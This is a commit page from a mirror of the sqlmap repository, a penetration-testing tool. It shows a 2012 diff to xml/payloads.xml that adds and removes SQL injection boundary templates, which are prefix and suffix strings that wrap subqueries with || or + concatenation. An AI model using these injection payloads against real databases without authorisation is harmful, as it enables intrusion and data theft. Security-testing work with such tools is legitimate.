sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2024-11-25 11:03:47 +03:00
Code Issues Packages Projects Releases Wiki Activity

Minor fix to avoid useless tests (FROM DUAL is Oracle specific so no point using + to concatenate strings)

Browse Source
This commit is contained in:
Bernardo Damele 2012-03-30 16:27:08 +00:00
parent 429b8396e9
commit 40a7232de6
1 changed files with 18 additions and 18 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

36
xml/payloads.xml
View File

@ -488,6 +488,24 @@ Formats:
<!-- End of pre-WHERE generic boundaries -->
<!-- INSERT/UPDATE generic boundaries (e.g. "INSERT INTO table VALUES ('$_REQUEST["name"]',...)"-->
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix> || (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) ||</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>|| (SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) ||</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
@ -506,15 +524,6 @@ Formats:
<suffix>) || '</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix> + (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
@ -524,15 +533,6 @@ Formats:
<suffix>)</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>' + (SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) + '</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>